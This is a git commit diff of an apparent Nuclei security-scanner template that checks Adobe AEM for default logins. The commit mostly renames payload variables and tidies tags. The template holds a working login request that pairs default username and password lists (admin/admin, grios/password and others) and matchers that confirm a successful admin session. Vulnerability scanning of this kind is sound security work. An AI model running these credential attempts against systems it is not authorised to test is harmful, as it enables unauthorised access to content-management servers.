misc updates

patch-1
sandeep 2021-10-10 07:06:14 +05:30
parent 34543ded24
commit 6811004e68
1 changed files with 6 additions and 7 deletions

View File

@ -4,7 +4,7 @@ info:
name: Adobe AEM Default Login
author: random-robbie
severity: critical
tags: aem,default-login,fuzz
tags: aem,default-login
requests:
- raw:
@ -15,23 +15,22 @@ requests:
Origin: {{BaseURL}}
Referer: {{BaseURL}}/libs/granite/core/content/login.html
_charset_=utf-8&j_username={{rr_username}}&j_password={{rr_password}}&j_validate=true
_charset_=utf-8&j_username={{aem_user}}&j_password={{aem_pass}}&j_validate=true
attack: pitchfork
payloads:
rr_username:
aem_user:
- admin
- grios
- replication-receiver
- vgnadmin
rr_password:
aem_pass:
- admin
- password
- replication-receiver
- vgnadmin
attack: pitchfork # Available options: sniper, pitchfork and clusterbomb
stop-at-first-match: true
matchers-condition: and
matchers:
@ -41,7 +40,7 @@ requests:
- type: word
part: header
condition: and
words:
- login-token
- crx.default
condition: and